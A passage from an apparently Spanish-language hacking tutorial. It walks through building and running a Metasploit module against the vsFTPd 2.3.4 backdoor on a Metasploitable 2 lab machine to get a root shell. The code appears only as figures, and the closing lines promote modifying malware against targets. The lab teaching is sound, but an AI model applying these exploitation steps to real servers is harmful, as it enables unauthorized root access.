servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo cdigo consta de casi 50
lneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecucin
del payload antes mencionado, por lo que resulta una parte ms corta al momento de codear el
exploit, aunque se trate de dos plataformas diferentes (Windows/Linux), tambin resulta ms
perjudicial que el exploit o cdigo del ejercicio anterior.

Como se ejemplific en el ejercicio anterior, debers de seguir los mismos pasos para compilar tu
mdulo de Metasploit, desde abrir el editor de texto Pluma, hasta la colocacin del script en Ruby
en el directorio correspondiente.

Teniendo entendido lo anterior, compilars esto y lo guardars en el siguiente directorio, demos un


ltimo vistazo a lo que compone el cdigo y que es lo que hace.

Donde:

De la lnea 4 a la 9 podremos notar como estamos especificando que este cdigo trabajar
con la librera core del Framework de Metasploit, tambin indicamos en la clase
MetasploitModule, indicando el tipo de funcionalidad (Remote) y la calificacin.
En la lnea 11, con def estamos declarando el mtodo referente a la informacin del
payload, como lo son detalles acerca de su funcionamiento, en las dems lneas tambin
podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que
funciona, la arquitectura por la que trabajar, payload etc.

Imagen 37.2: Declaracin de clase y mtodo para el exploit.


De la lnea 23 a 38 continuaremos con el bloque referente al mtodo de inicializacin
declarado, en estas lneas podremos encontrar detalles acerca del payload que usaremos,
como lo es el espacio en bytes, la no especificacin de BadChars, la inhabilitacin de los
No Operations, el tipo de payload y la conexin que se establece por bsqueda (referente
al malware), al final se especific que el puerto en donde estar en funcin est exploit.

Imagen 37.3: Declaracin de clase y mtodo.

De la lnea 44 a 67, nos encontramos con otro mtodo declarado referente directamente al
exploit, ahora con condicionales. En donde iniciamos con sockets la conexin que se
establecer para la Shell en el puerto 6200 del Host Linux, mostrando un Status acerca
de la situacin del mismo al momento del encuentro con el malware. Si despus de lo
anterior se establece la conexin, mostraremos un Banner en donde puede haber 3
mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo
anterior:

Imagen 37.4: Declaracin mtodo y condicionales para el exploit.


Imagen 37.5: Declaracin mtodo y condicionales para el exploit.

Por ltimo, entre las lneas 88 y 105 nos encontraremos un mtodo final que est
declarado, en este caso se trata del bloque de cdigo que har el trabajo con el backdoor
o malware que reside en el Host remoto, en donde veremos un condicional y diferentes
print statements correspondientes a cada uno de los resultados u outputs que se
obtengan, siendo estos el establecimiento o fallo de la conexin entre atacante y Host.

Imagen 37.6: Declaracin mtodo y condicionales para el encuentro con l malware.

Ahora que has finalizado con el cdigo, lo guardars con el nombre de tu preferencia (en este caso
fue ftp_exploit_hm.rb es importante colocar la extensin de Ruby al final, seguido de esto
colocars el script en el siguiente directorio que es donde residen los exploits en Parrot OS como
lo es en la mayora de las distros para pentesting, y, por ende, donde este corresponde.
/user/share/metasploit-framework/modules/exploits/unix/ (como quieras llamar a este folder)

Imagen 37.7: Directorio del exploit formulado.

Una vez finalizado el proceso de formulacin de tu exploit, es momento de ponerlo a trabajar y probarlo,
para ello habr que utilizar el framework de Metasploit. Como ya sabes, habr que inicializar el servicio
de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.
Imagen 37.8: Inicio de servicio de Base de datos y del Framework.

Una vez inicializado el Framework, entrars a tu mdulo, que es el exploit que recin creaste. Para
ello solo basta con hacer uso del comando use y con el buscar a tu exploit entre el repositorio
del contenido en Metasploit, basta con saber la categora y nombre:

Imagen 37.9: Directorio del exploit formulado.

Una vez estando dentro de nuestro mdulo, ejecutaremos el comando show options para
enlistar o mostrar los parmetros de configuracin con los que este opera o funciona, en donde
veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto.

En lo que se refiere al Host se trata de la direccin IP de este, en este caso estamos hablando de
la mquina virtual Metasploitable 2 la cual est en funcin como un servidor FTP vulnerable, en
cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP. Para esto usaremos
los comandos la misma sintaxis que en ejercicio anterior, siendo estos set RHOST y set RPORT
en donde colocaremos la direccin IP y el puerto y al final lo ponemos en accin con run:

Imagen 38.0: Parmetros de configuracin de nuestro mdulo en Metasploit.


Si eres de los que les gusta transcribir el cdigo para entenderlo o comprenderlo sobre la marcha
del proceso de compilacin e hiciste todo de forma correcta, luego de la ejecucin del comando
run Metasploit deber arrojarte un Banner indicando la vulnerabilidad que estas intentando
explotar (vsFTPd 2.3.4). Si has seguido las instrucciones correctamente, mediante Metasploit
obtendrs una Shell de comandos sobre el sistema remoto (Metasploitable 2 / Servidor FTP)
en el puerto en donde opera el malware (6200), permitindote as navegar sobre los directorios
del Servidor como usuario Root (Superuser). En el ejemplo de abajo, se ejecut el comando
pwd para ubicarnos en el sistema, arrojando el resultado /, que lo mayormente comn en Linux
se trata del directorio raz, con el comando ls enlistaremos todos los directorios que existen en
esa locacin para posteriormente navegar entre ellos:

Imagen 38.1 y 38.2: Obtencin de Shell sobre servidor FTP y navegacin por directorios.

A lo largo de este captulo cubrimos varios temas referentes al desarrollo de exploits, desde la creacin de un simple programa que
cuenta con una pila desbordable y como vulnerarlo con scripts hechos en Perl, ya sea mediante comunicacin por telnet o
remotamente desde Parrot, tambin pisamos terreno ms a fondo al momento de trabajar con una aplicacin ms completa al involucrar
el uso de un Debugger para hacer Fuzzing de la aplicacin y as identificar el Buffer Overflow con el que cuenta esta, as como
tambin el uso de Mona.py en un Debugger para facilitarnos la elaboracin de un script mayormente perjudicial que ocasione un
desbordamiento de esta aplicacin.

Tambin cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura y el contexto del proceso de
formulacin de exploits, como lo son los registros EIP y ESP en cuanto se trate de Overflows. Y por ltimo en la segunda mitad nos
familiarizamos en la creacin de mdulos de Metasploit, como es que deben estar constituidos estos para que funcionen o el
framework los tome en cuenta, hasta la elaboracin de un Auxiliary que causa un desbordamiento a nivel kernel de un sistema
Windows 7 y la elaboracin de un exploit que se aprovecha de una vulnerabilidad en servidores FTP, comprometiendo as el host
remoto. Ahora que ya te ensuciaste un poco las manos con esto, compilando cdigo en diferentes lenguajes y utilizando debuggers para
hacer algo de Reversing, es momento de que pases a algo un tanto ms complejo como lo es el Modding, en donde se adentraras en
las entraas del malware para as realizar cambios que resulten favorables para ti y obvio. lo contrario para quien va destinado.

También podría gustarte